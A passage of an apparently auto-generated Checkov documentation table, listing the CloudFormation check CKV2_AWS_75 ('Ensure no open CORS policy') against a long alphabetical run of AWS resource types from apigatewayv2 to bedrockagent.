[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 246 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 247 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 248 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 249 | CKV2_AWS_75 | resource | aws_apigatewayv2_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 250 | CKV2_AWS_75 | resource | aws_apigatewayv2_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 251 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 252 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 253 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 254 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 255 | CKV2_AWS_75 | resource | aws_appautoscaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 256 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 257 | CKV2_AWS_75 | resource | aws_appautoscaling_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 258 | CKV2_AWS_75 | resource | aws_appconfig_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 259 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 260 | CKV2_AWS_75 | resource | aws_appconfig_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 261 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 262 | CKV2_AWS_75 | resource | aws_appconfig_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 263 | CKV2_AWS_75 | resource | aws_appconfig_extension | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 264 | CKV2_AWS_75 | resource | aws_appconfig_extension_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 265 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 266 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 267 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 268 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 269 | CKV2_AWS_75 | resource | aws_appfabric_ingestion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 270 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 271 | CKV2_AWS_75 | resource | aws_appflow_connector_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 272 | CKV2_AWS_75 | resource | aws_appflow_flow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 273 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 274 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 275 | CKV2_AWS_75 | resource | aws_applicationinsights_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 276 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 277 | CKV2_AWS_75 | resource | aws_appmesh_mesh | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 278 | CKV2_AWS_75 | resource | aws_appmesh_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 279 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 280 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 281 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 282 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 283 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 284 | CKV2_AWS_75 | resource | aws_apprunner_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 285 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 286 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 287 | CKV2_AWS_75 | resource | aws_apprunner_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 288 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 289 | CKV2_AWS_75 | resource | aws_apprunner_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 290 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 291 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 292 | CKV2_AWS_75 | resource | aws_appstream_directory_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 293 | CKV2_AWS_75 | resource | aws_appstream_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 294 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 295 | CKV2_AWS_75 | resource | aws_appstream_image_builder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 296 | CKV2_AWS_75 | resource | aws_appstream_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 297 | CKV2_AWS_75 | resource | aws_appstream_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 298 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 299 | CKV2_AWS_75 | resource | aws_appsync_api_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 300 | CKV2_AWS_75 | resource | aws_appsync_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 301 | CKV2_AWS_75 | resource | aws_appsync_datasource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 302 | CKV2_AWS_75 | resource | aws_appsync_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 303 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 304 | CKV2_AWS_75 | resource | aws_appsync_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 305 | CKV2_AWS_75 | resource | aws_appsync_graphql_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 306 | CKV2_AWS_75 | resource | aws_appsync_resolver | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 307 | CKV2_AWS_75 | resource | aws_appsync_source_api_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 308 | CKV2_AWS_75 | resource | aws_appsync_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 309 | CKV2_AWS_75 | resource | aws_athena_data_catalog | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 310 | CKV2_AWS_75 | resource | aws_athena_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 311 | CKV2_AWS_75 | resource | aws_athena_named_query | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 312 | CKV2_AWS_75 | resource | aws_athena_prepared_statement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 313 | CKV2_AWS_75 | resource | aws_athena_workgroup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 314 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 315 | CKV2_AWS_75 | resource | aws_auditmanager_assessment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 316 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 317 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 318 | CKV2_AWS_75 | resource | aws_auditmanager_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 319 | CKV2_AWS_75 | resource | aws_auditmanager_framework | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 320 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 321 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 322 | CKV2_AWS_75 | resource | aws_autoscaling_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 323 | CKV2_AWS_75 | resource | aws_autoscaling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 324 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 325 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 326 | CKV2_AWS_75 | resource | aws_autoscaling_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 327 | CKV2_AWS_75 | resource | aws_autoscaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 328 | CKV2_AWS_75 | resource | aws_autoscaling_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 329 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 330 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 331 | CKV2_AWS_75 | resource | aws_az_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 332 | CKV2_AWS_75 | resource | aws_backup_framework | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 333 | CKV2_AWS_75 | resource | aws_backup_global_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 334 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 335 | CKV2_AWS_75 | resource | aws_backup_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 336 | CKV2_AWS_75 | resource | aws_backup_region_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 337 | CKV2_AWS_75 | resource | aws_backup_report_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 338 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 339 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 340 | CKV2_AWS_75 | resource | aws_backup_selection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 341 | CKV2_AWS_75 | resource | aws_backup_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 342 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 343 | CKV2_AWS_75 | resource | aws_backup_vault_notifications | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 344 | CKV2_AWS_75 | resource | aws_backup_vault_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 345 | CKV2_AWS_75 | resource | aws_batch_compute_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 346 | CKV2_AWS_75 | resource | aws_batch_job_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 347 | CKV2_AWS_75 | resource | aws_batch_job_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 348 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 349 | CKV2_AWS_75 | resource | aws_bcmdataexports_export | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 350 | CKV2_AWS_75 | resource | aws_bedrock_custom_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 351 | CKV2_AWS_75 | resource | aws_bedrock_guardrail | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 352 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 353 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 354 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 355 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 356 | CKV2_AWS_75 | resource | aws_bedrockagent_agent | Ensure no open CORS policy | Cloudformation | 